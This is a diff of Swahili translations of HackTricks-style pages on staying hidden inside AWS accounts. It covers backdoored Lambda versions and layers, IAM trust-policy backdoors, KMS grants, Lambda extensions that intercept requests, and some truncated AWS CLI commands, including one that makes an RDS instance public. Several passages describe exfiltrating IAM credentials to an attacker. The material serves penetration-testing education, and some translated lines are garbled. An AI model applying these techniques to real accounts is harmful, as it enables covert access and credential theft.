Mshambuliaji anaweza kuunda **huduma ya ECS isiyoandikwa** inayokimbiza kazi mbaya. Kwa kuweka idadi inayotakiwa ya kazi kuwa ya chini na kuzima uandishi wa kumbukumbu, inakuwa vigumu kwa wasimamizi kugundua huduma hiyo mbaya.
|
||||
Mshambuliaji anaweza kuunda **huduma ya ECS isiyoandikwa** inayotekeleza kazi mbaya. Kwa kuweka idadi inayotakiwa ya kazi kuwa ya chini na kuzima uandishi wa habari, inakuwa vigumu kwa wasimamizi kugundua huduma hiyo mbaya.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
|
||||
@@ -16,6 +16,6 @@ Kwa kubadilisha **sera ya rasilimali na/v au vikundi vya usalama** unaweza kujar
|
||||
|
||||
### Unda Kituo cha Ufikiaji
|
||||
|
||||
Unaweza **kuunda kituo cha ufikiaji** (ikiwa na ufikiaji wa mzizi kwa `/`) kinachoweza kufikiwa kutoka kwa huduma ambapo umeanzisha **muhimu nyingine** ili kudumisha ufikiaji wa kijasiri kwenye mfumo wa faili.
|
||||
Unaweza **kuunda kituo cha ufikiaji** (kilicho na ufikiaji wa mizizi kwa `/`) kinachoweza kufikiwa kutoka kwa huduma ambayo umeanzisha **muhimu nyingine** ili kudumisha ufikiaji wa kijasiri kwenye mfumo wa faili.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,11 +12,11 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
Ili kudumisha uendelevu ndani ya akaunti ya AWS, **mekanismu ya uendelevu inaweza kuanzishwa ndani ya instance** (kazi ya cron, ufunguo wa ssh...) ili mshambuliaji aweze kuipata na kuiba **credentials za IAM role kutoka kwa huduma ya metadata**.
|
||||
Ili kudumisha uendelevu ndani ya akaunti ya AWS, **mekanismu ya uendelevu inaweza kuanzishwa ndani ya instance** (kazi ya cron, funguo za ssh...) ili mshambuliaji aweze kuipata na kuiba **credentials za IAM role kutoka huduma ya metadata**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
Mshambuliaji anaweza kuweka backdoor kwenye msimbo ndani ya repo ya S3 ili kila wakati ifanye backdoor yake na msimbo unaotarajiwa.
|
||||
Mshambuliaji anaweza kuweka backdoor kwenye msimbo ndani ya repo ya S3 ili kila wakati ifanye kazi yake ya backdoor na msimbo unaotarajiwa.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
@@ -27,7 +27,7 @@ Badala ya kubadilisha msimbo kwenye toleo halisi, mshambuliaji anaweza kupeleka
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk inatoa mizunguko ya maisha ambayo inakuruhusu kuendesha skripti za kawaida wakati wa upatikanaji na kumalizika kwa instance. Mshambuliaji anaweza **kuweka mzunguko wa maisha ili kwa muda fulani kuendesha skripti inayotoa data au kudumisha ufikiaji wa akaunti ya AWS**.
|
||||
Elastic Beanstalk inatoa hooks za mzunguko wa maisha ambazo zinakuwezesha kuendesha skripti za kawaida wakati wa upatikanaji na kumaliza instance. Mshambuliaji anaweza **kuweka hook ya mzunguko wa maisha ili mara kwa mara kuendesha skripti inayotoa data au kudumisha ufikiaji wa akaunti ya AWS**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
|
||||
@@ -10,16 +10,16 @@ Kwa maelezo zaidi tembelea:
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Uthibitishaji wa IAM wa Kawaida
|
||||
### Uthibitishaji wa kawaida wa IAM
|
||||
|
||||
- Unda mtumiaji
|
||||
- Ongeza mtumiaji anayedhibitiwa kwenye kundi lenye mamlaka
|
||||
- Unda funguo za ufikiaji (za mtumiaji mpya au za watumiaji wote)
|
||||
- Toa ruhusa za ziada kwa watumiaji/vikundi vilivyo na udhibiti (sera zilizounganishwa au sera za ndani)
|
||||
- Toa ruhusa za ziada kwa watumiaji/vidokezo vilivyodhibitiwa (sera zilizounganishwa au sera za ndani)
|
||||
- Zima MFA / Ongeza kifaa chako cha MFA
|
||||
- Unda hali ya Mnyororo wa Jukumu (zaidi kuhusu hii hapa chini katika uthibitishaji wa STS)
|
||||
|
||||
### Sera za Kuamini Jukumu la Backdoor
|
||||
### Sera za Kuamini za Backdoor
|
||||
|
||||
Unaweza kuingiza backdoor kwenye sera ya kuamini ili uweze kuichukua kwa rasilimali ya nje inayodhibitiwa na wewe (au kwa kila mtu):
|
||||
```json
|
||||
@@ -36,12 +36,12 @@ Unaweza kuingiza backdoor kwenye sera ya kuamini ili uweze kuichukua kwa rasilim
|
||||
]
|
||||
}
|
||||
```
|
||||
### Sera ya Backdoor
|
||||
### Sera ya Backdoor Toleo
|
||||
|
||||
Patia ruhusa za Msimamizi sera katika toleo lake si la mwisho (toleo la mwisho linapaswa kuonekana halali), kisha piga hiyo sera kwa mtumiaji/jeshi lililodhibitiwa.
|
||||
Patia ruhusa za Msimamizi kwa sera katika toleo lake si la mwisho (toleo la mwisho linapaswa kuonekana halali), kisha piga hiyo sera kwa mtumiaji/jeshi lililodhibitiwa.
|
||||
|
||||
### Backdoor / Unda Mtoa Kitambulisho
|
||||
|
||||
Ikiwa akaunti tayari inatumia mtoa kitambulisho wa kawaida (kama Github) masharti ya uaminifu yanaweza kuongezwa ili mshambuliaji aweze kuyatumia.
|
||||
Ikiwa akaunti tayari inategemea mtoa kitambulisho wa kawaida (kama Github) masharti ya uaminifu yanaweza kuongezwa ili mshambuliaji aweze kuyatumia.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,13 +14,13 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
Mshambuliaji anaweza kutumia ruhusa **`kms:PutKeyPolicy`** ili **kutoa ufikiaji** kwa funguo kwa mtumiaji chini ya udhibiti wake au hata kwa akaunti ya nje. Angalia [**ukurasa wa KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) kwa maelezo zaidi.
|
||||
|
||||
### Eternal Grant
|
||||
### Grant ya Milele
|
||||
|
||||
Mikopo ni njia nyingine ya kutoa ruhusa kwa kiongozi juu ya funguo maalum. Inawezekana kutoa mkopo unaomruhusu mtumiaji kuunda mikopo. Zaidi ya hayo, mtumiaji anaweza kuwa na mikopo kadhaa (hata sawa) juu ya funguo hiyo hiyo.
|
||||
Grants ni njia nyingine ya kutoa ruhusa kwa msingi fulani juu ya funguo maalum. Inawezekana kutoa grant inayomruhusu mtumiaji kuunda grants. Zaidi ya hayo, mtumiaji anaweza kuwa na grants kadhaa (hata sawa) juu ya funguo hiyo hiyo.
|
||||
|
||||
Hivyo, inawezekana kwa mtumiaji kuwa na mikopo 10 yenye ruhusa zote. Mshambuliaji anapaswa kufuatilia hili mara kwa mara. Na ikiwa kwa wakati fulani mkopo 1 utaondolewa, mingine 10 inapaswa kuundwa.
|
||||
Hivyo, inawezekana kwa mtumiaji kuwa na grants 10 zikiwa na ruhusa zote. Mshambuliaji anapaswa kufuatilia hili mara kwa mara. Na ikiwa kwa wakati fulani grant 1 itatolewa, nyingine 10 zinapaswa kuundwa.
|
||||
|
||||
(Tunatumia 10 na si 2 ili kuweza kugundua kwamba mkopo umeondolewa wakati mtumiaji bado ana mkopo fulani)
|
||||
(Tunatumia 10 na si 2 ili kuweza kugundua kwamba grant iliondolewa wakati mtumiaji bado ana grant fulani)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
|
||||
@@ -20,27 +20,27 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Kwa kutumia Lambda Layers inawezekana pia kutumia extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi.
|
||||
Kutumia Lambda Layers pia inawezekana kutumia extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Kupitia sera za rasilimali
|
||||
### Via resource policies
|
||||
|
||||
Inawezekana kutoa ufikiaji kwa vitendo tofauti vya lambda (kama vile kuita au kuboresha msimbo) kwa akaunti za nje:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Matoleo, Majina Mbadala & Uzito
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Lambda inaweza kuwa na **matoleo tofauti** (ikiwa na msimbo tofauti kila toleo).\
|
||||
Kisha, unaweza kuunda **majina mbadala tofauti na matoleo tofauti** ya lambda na kuweka uzito tofauti kwa kila moja.\
|
||||
Lambda inaweza kuwa na **matoleo tofauti** (ikiwa na msimbo tofauti kwa kila toleo).\
|
||||
Kisha, unaweza kuunda **majina tofauti na matoleo tofauti** ya lambda na kuweka uzito tofauti kwa kila moja.\
|
||||
Hivi ndivyo mshambuliaji anaweza kuunda **toleo la backdoored 1** na **toleo la 2 lenye msimbo halali tu** na **kutekeleza toleo la 1 tu katika 1%** ya maombi ili kubaki kwa siri.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Toleo la Backdoor + API Gateway
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Nakili msimbo wa asili wa Lambda
|
||||
2. **Unda toleo jipya la backdooring** msimbo wa asili (au tu na msimbo mbaya). Chapisha na **peleka toleo hilo** kwa $LATEST
|
||||
@@ -48,7 +48,7 @@ Hivi ndivyo mshambuliaji anaweza kuunda **toleo la backdoored 1** na **toleo la
|
||||
3. **Unda toleo jipya lenye msimbo wa asili**, Chapisha na peleka **toleo hilo** kwa $LATEST.
|
||||
1. Hii itaficha msimbo wa backdoored katika toleo la awali
|
||||
4. Nenda kwa API Gateway na **unda njia mpya ya POST** (au chagua njia nyingine yoyote) ambayo itatekeleza toleo la backdoored la lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Kumbuka mwisho :1 ya arn **ikiashiria toleo la kazi** (toleo 1 litakuwa la backdoored katika hali hii).
|
||||
1. Kumbuka mwisho :1 wa arn **ikiashiria toleo la kazi** (toleo 1 litakuwa la backdoored katika hali hii).
|
||||
5. Chagua njia ya POST iliyoundwa na katika Vitendo chagua **`Deploy API`**
|
||||
6. Sasa, unapofanya **kuita kazi kupitia POST Backdoor yako** itaitwa
|
||||
|
||||
@@ -57,8 +57,8 @@ Hivi ndivyo mshambuliaji anaweza kuunda **toleo la backdoored 1** na **toleo la
|
||||
Hali kwamba unaweza kufanya **kazi za lambda zifanye kazi wakati kitu kinatokea au wakati muda unapita** inafanya lambda kuwa njia nzuri na ya kawaida ya kupata kudumu na kuepuka kugunduliwa.\
|
||||
Hapa kuna mawazo kadhaa ya kufanya **uwepo wako katika AWS uwe wa siri zaidi kwa kuunda lambdas**.
|
||||
|
||||
- Kila wakati mtumiaji mpya anapoundwa lambda inaunda ufunguo mpya wa mtumiaji na kuutuma kwa mshambuliaji.
|
||||
- Kila wakati jukumu jipya linapoundwa lambda inatoa ruhusa za kudhani jukumu kwa watumiaji waliokumbwa.
|
||||
- Kila wakati mtumiaji mpya anapoundwa lambda inaunda funguo mpya za mtumiaji na kuzipeleka kwa mshambuliaji.
|
||||
- Kila wakati jukumu jipya linapoundwa lambda inatoa ruhusa za kudai jukumu kwa watumiaji waliokumbwa.
|
||||
- Kila wakati kumbukumbu mpya za cloudtrail zinapoundwa, futa/badilisha hizo.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,31 +4,31 @@
|
||||
|
||||
## Lambda Extensions
|
||||
|
||||
Lambda extensions huongeza kazi kwa kuunganishwa na zana mbalimbali za **monitoring, observability, security, na governance**. Extensions hizi, zinazoongezwa kupitia [.zip archives kwa kutumia Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) au kujumuishwa katika [mifano ya picha za kontena](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), zinafanya kazi katika njia mbili: **internal** na **external**.
|
||||
Lambda extensions huongeza kazi kwa kuunganishwa na zana mbalimbali za **monitoring, observability, security, na governance**. Extensions hizi, zinazoongezwa kupitia [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) au kujumlishwa katika [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), zinafanya kazi katika hali mbili: **internal** na **external**.
|
||||
|
||||
- **Internal extensions** huunganishwa na mchakato wa runtime, zikibadilisha uzinduzi wake kwa kutumia **language-specific environment variables** na **wrapper scripts**. Uboreshaji huu unatumika kwa aina mbalimbali za runtimes, ikiwa ni pamoja na **Java Correto 8 na 11, Node.js 10 na 12, na .NET Core 3.1**.
|
||||
- **Internal extensions** huungana na mchakato wa runtime, zikibadilisha uzinduzi wake kwa kutumia **language-specific environment variables** na **wrapper scripts**. Uboreshaji huu unatumika kwa aina mbalimbali za runtimes, ikiwa ni pamoja na **Java Correto 8 na 11, Node.js 10 na 12, na .NET Core 3.1**.
|
||||
- **External extensions** zinafanya kazi kama michakato tofauti, zikihakikisha uendeshaji unalingana na mzunguko wa maisha wa kazi ya Lambda. Zinapatikana kwa runtimes mbalimbali kama **Node.js 10 na 12, Python 3.7 na 3.8, Ruby 2.5 na 2.7, Java Corretto 8 na 11, .NET Core 3.1**, na **custom runtimes**.
|
||||
|
||||
Kwa maelezo zaidi kuhusu [**jinsi lambda extensions zinavyofanya kazi angalia docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
Kwa maelezo zaidi kuhusu [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
|
||||
Hii ni muhtasari wa mbinu iliyopendekezwa katika chapisho hili: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
Ilipatikana kuwa kernel ya Linux ya default katika mazingira ya runtime ya Lambda imeandikwa kwa “**process_vm_readv**” na “**process_vm_writev**” system calls. Na michakato yote inafanya kazi na kitambulisho sawa cha mtumiaji, hata mchakato mpya ulioanzishwa kwa ajili ya external extension. **Hii inamaanisha kuwa external extension ina ufikiaji kamili wa kusoma na kuandika kwenye kumbukumbu ya Rapid, kwa muundo.**
|
||||
Ilipatikana kwamba kernel ya Linux ya default katika mazingira ya runtime ya Lambda imeandikwa kwa “**process_vm_readv**” na “**process_vm_writev**” system calls. Na michakato yote inafanya kazi na kitambulisho sawa cha mtumiaji, hata mchakato mpya ulioanzishwa kwa ajili ya external extension. **Hii inamaanisha kwamba external extension ina ufikiaji kamili wa kusoma na kuandika kwenye kumbukumbu ya Rapid, kwa muundo.**
|
||||
|
||||
Zaidi ya hayo, ingawa Lambda extensions zina uwezo wa **kujiandikisha kwa matukio ya mwito**, AWS haifunui data halisi kwa extensions hizi. Hii inahakikisha kuwa **extensions haziwezi kufikia taarifa nyeti** zinazotumwa kupitia ombi la HTTP.
|
||||
Zaidi ya hayo, ingawa Lambda extensions zina uwezo wa **kujiandikisha kwa matukio ya mwito**, AWS haifunui data halisi kwa extensions hizi. Hii inahakikisha kwamba **extensions haziwezi kufikia taarifa nyeti** zinazotumwa kupitia ombi la HTTP.
|
||||
|
||||
Mchakato wa Init (Rapid) unafuatilia maombi yote ya API katika [http://127.0.0.1:9001](http://127.0.0.1:9001/) wakati Lambda extensions zinaanzishwa na kuendesha kabla ya utekelezaji wa msimbo wowote wa runtime, lakini baada ya Rapid.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
Kigezo **`AWS_LAMBDA_RUNTIME_API`** kinaonyesha **IP** anwani na **nambari** ya **port** ya Rapid API kwa **michakato ya runtime ya watoto** na extensions za ziada.
|
||||
Kigezo **`AWS_LAMBDA_RUNTIME_API`** kinaonyesha **IP** anwani na **nambari** ya **bandari** ya Rapid API kwa **michakato ya runtime ya watoto** na extensions za ziada.
|
||||
|
||||
> [!WARNING]
|
||||
> Kwa kubadilisha kigezo cha mazingira **`AWS_LAMBDA_RUNTIME_API`** kuwa **`port`** tunayo, inawezekana kukamata vitendo vyote ndani ya runtime ya Lambda (**man-in-the-middle**). Hii inawezekana kwa sababu extension inafanya kazi na ruhusa sawa na Rapid Init, na kernel ya mfumo inaruhusu **kubadilisha kumbukumbu ya mchakato**, ikiruhusu kubadilisha nambari ya port.
|
||||
> Kwa kubadilisha kigezo cha mazingira **`AWS_LAMBDA_RUNTIME_API`** kuwa **`port`** tunayo, inawezekana kukamata vitendo vyote ndani ya runtime ya Lambda (**man-in-the-middle**). Hii inawezekana kwa sababu extension inafanya kazi na ruhusa sawa na Rapid Init, na kernel ya mfumo inaruhusu **mabadiliko ya kumbukumbu ya mchakato**, ikiruhusu kubadilisha nambari ya bandari.
|
||||
|
||||
Kwa sababu **extensions zinafanya kazi kabla ya msimbo wowote wa runtime**, kubadilisha kigezo cha mazingira kutakuwa na athari kwenye mchakato wa runtime (mfano, Python, Java, Node, Ruby) unapoanza. Zaidi ya hayo, **extensions zilizopakiwa baada** yetu, ambazo zinategemea kigezo hiki, pia zitaelekeza kupitia extension yetu. Mpangilio huu unaweza kuwezesha malware kupita kabisa hatua za usalama au logging extensions moja kwa moja ndani ya mazingira ya runtime.
|
||||
Kwa sababu **extensions zinafanya kazi kabla ya msimbo wowote wa runtime**, kubadilisha kigezo cha mazingira kutakuwa na athari kwenye mchakato wa runtime (kwa mfano, Python, Java, Node, Ruby) unapozinduliwa. Zaidi ya hayo, **extensions zilizoandikwa baada** yetu, ambazo zinategemea kigezo hiki, pia zitaelekeza kupitia extension yetu. Mpangilio huu unaweza kuwezesha malware kupita kabisa hatua za usalama au logging extensions moja kwa moja ndani ya mazingira ya runtime.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
|
||||
@@ -4,37 +4,37 @@
|
||||
|
||||
## Lambda Layers
|
||||
|
||||
Layer ya Lambda ni archive ya .zip ambayo **inaweza kuwa na msimbo wa ziada** au maudhui mengine. Layer inaweza kuwa na maktaba, [runtime ya kawaida](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, au faili za usanidi.
|
||||
Layer ya Lambda ni archive ya faili .zip ambayo **inaweza kuwa na msimbo wa ziada** au maudhui mengine. Layer inaweza kuwa na maktaba, [runtime ya kawaida](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, au faili za usanidi.
|
||||
|
||||
Inawezekana kujumuisha hadi **layers tano kwa kazi**. Unapojumuisha layer katika kazi, **maudhui yanachukuliwa hadi kwenye saraka ya `/opt`** katika mazingira ya utekelezaji.
|
||||
|
||||
Kwa **default**, **layers** ambazo unaunda ni **binafsi** kwa akaunti yako ya AWS. Unaweza kuchagua **kushiriki** layer na akaunti nyingine au **kufanya** layer hiyo **kuwa ya umma**. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza **kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa**. Hata hivyo, huwezi kuunda kazi mpya au kuboresha kazi ukitumia toleo la layer lililofutwa.
|
||||
Kwa **kawaida**, **layers** unazounda ni **binafsi** kwa akaunti yako ya AWS. Unaweza kuchagua **kushiriki** layer na akaunti nyingine au **kufanya** layer hiyo **kuwa ya umma**. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza **kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa**. Hata hivyo, huwezi kuunda kazi mpya au kusasisha kazi ukitumia toleo la layer lililofutwa.
|
||||
|
||||
Kazi zilizowekwa kama picha ya kontena hazitumii layers. Badala yake, unapakua runtime unayopendelea, maktaba, na utegemezi mwingine ndani ya picha ya kontena unapojenga picha hiyo.
|
||||
|
||||
### Python load path
|
||||
|
||||
Njia ya kupakia ambayo Python itatumia katika lambda ni ifuatayo:
|
||||
Path ya kupakia ambayo Python itatumia katika lambda ni ifuatayo:
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
|
||||
Angalia jinsi **nafasi ya pili** na ya tatu **zinavyoshikiliwa** na directories ambapo **lambda layers** zinachambua faili zao: **`/opt/python/lib/python3.9/site-packages`** na **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
|
||||
> Ikiwa mshambuliaji ameweza **kurejesha** **layer** ya lambda inayotumika au **kuongeza moja** ambayo itakuwa **ikiendesha msimbo wa kawaida unapopakua maktaba**, ataweza kuendesha msimbo mbaya kwa kila mwito wa lambda.
|
||||
|
||||
Therefore, the requisites are:
|
||||
Kwa hivyo, mahitaji ni:
|
||||
|
||||
- **Check libraries** that are **loaded** by the victims code
|
||||
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
|
||||
- **Angalia maktaba** ambazo **zinapakiwa** na msimbo wa waathirika
|
||||
- Unda **maktaba ya proxy na lambda layers** ambayo itakuwa **ikiendesha msimbo wa kawaida** na **kupakia maktaba ya asili**.
|
||||
|
||||
### Preloaded libraries
|
||||
### Maktaba zilizopakiwa awali
|
||||
|
||||
> [!WARNING]
|
||||
> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
|
||||
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
|
||||
> Wakati wa kutumia mbinu hii nilikumbana na ugumu: Maktaba zingine tayari **zimepakiwa** katika mazingira ya python wakati msimbo wako unatekelezwa. Nilikuwa natarajia kupata vitu kama `os` au `sys`, lakini **hata maktaba ya `json` ilikuwa imepakiwa**.\
|
||||
> Ili kutumia mbinu hii ya kudumu, msimbo unahitaji **kupakia maktaba mpya ambayo haijapakiwa** wakati msimbo unatekelezwa.
|
||||
|
||||
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
|
||||
Kwa msimbo wa python kama huu, inawezekana kupata **orodha ya maktaba ambazo zimepakiwa awali** ndani ya mazingira ya python katika lambda:
|
||||
```python
|
||||
import sys
|
||||
|
||||
@@ -44,22 +44,22 @@ return {
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
```
|
||||
Na hii ni **orodha** (hakikisha kwamba maktaba kama `os` au `json` tayari zipo)
|
||||
Na hii ni **orodha** (hakikisha kwamba maktaba kama `os` au `json` zipo tayari)
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
Na hii ni orodha ya **maktaba** ambazo **lambda inajumuisha zilizowekwa kwa chaguo-msingi**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
Na hii ni orodha ya **maktaba** ambazo **lambda inajumuisha zilizowekwa kwa default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
### Lambda Layer Backdooring
|
||||
|
||||
Katika mfano huu hebu tuweke kuwa msimbo unaolengwa unatumia **`csv`**. Tunakwenda **kufanya backdoor kwenye uagizaji wa maktaba ya `csv`**.
|
||||
Katika mfano huu hebu tuone kwamba msimbo unaolengwa unatumia **`csv`**. Tunakwenda **kufanya backdoor kwenye uagizaji wa maktaba ya `csv`**.
|
||||
|
||||
Ili kufanya hivyo, tutaunda **directory csv** yenye faili **`__init__.py`** ndani yake katika njia ambayo inapakuliwa na lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Kisha, wakati lambda inatekelezwa na kujaribu kupakua **csv**, faili yetu ya **`__init__.py` itapakuliwa na kutekelezwa**.\
|
||||
Faili hii lazima:
|
||||
Ili kufanya hivyo, tutaunda **directory csv** yenye faili **`__init__.py`** ndani yake katika njia ambayo inasomwa na lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Kisha, wakati lambda inatekelezwa na kujaribu kupakia **csv**, faili yetu ya **`__init__.py` itasomwa na kutekelezwa**.\
|
||||
Faili hii inapaswa:
|
||||
|
||||
- Itekeleze payload yetu
|
||||
- Ipakue maktaba ya csv asilia
|
||||
- Kutekeleza payload yetu
|
||||
- Kupakia maktaba ya csv asilia
|
||||
|
||||
Tunaweza kufanya yote mawili kwa:
|
||||
```python
|
||||
@@ -87,7 +87,7 @@ Kisha, tengeneza zip na msimbo huu katika njia **`python/lib/python3.9/site-pack
|
||||
|
||||
Unaweza kupata msimbo huu katika [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
Payload iliyounganishwa it **tuma IAM creds kwa seva WAKATI WA KWANZA inapoitwa au BAADA ya kurekebisha kontena la lambda** (mabadiliko ya msimbo au lambda baridi), lakini **mbinu nyingine** kama ifuatavyo zinaweza pia kuunganishwa:
|
||||
Payload iliyounganishwa it **tuma IAM creds kwa seva WAKATI WA KWANZA inapoanzishwa au BAADA ya kurekebisha kontena la lambda** (mabadiliko ya msimbo au lambda baridi), lakini **mbinu nyingine** kama ifuatavyo zinaweza pia kuunganishwa:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
|
||||
@@ -10,9 +10,9 @@ Kwa maelezo zaidi angalia:
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Pakua Funguo za SSH za Instance & Nywila za DB
|
||||
### Pakua funguo za SSH za Instance & nywila za DB
|
||||
|
||||
Hawatabadilishwa labda hivyo kuwa nazo ni chaguo nzuri kwa ajili ya kudumu
|
||||
Haziwezi kubadilishwa labda hivyo kuwa nazo ni chaguo nzuri kwa ajili ya kudumu
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
|
||||
@@ -12,15 +12,15 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### Fanya mfano uweze kupatikana hadharani: `rds:ModifyDBInstance`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha mfano wa RDS uliopo ili kuwezesha upatikanaji wa hadhara**.
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha mfano wa RDS uliopo ili kuwezesha upatikanaji wa hadharani**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Create an admin user inside the DB
|
||||
### Unda mtumiaji wa admin ndani ya DB
|
||||
|
||||
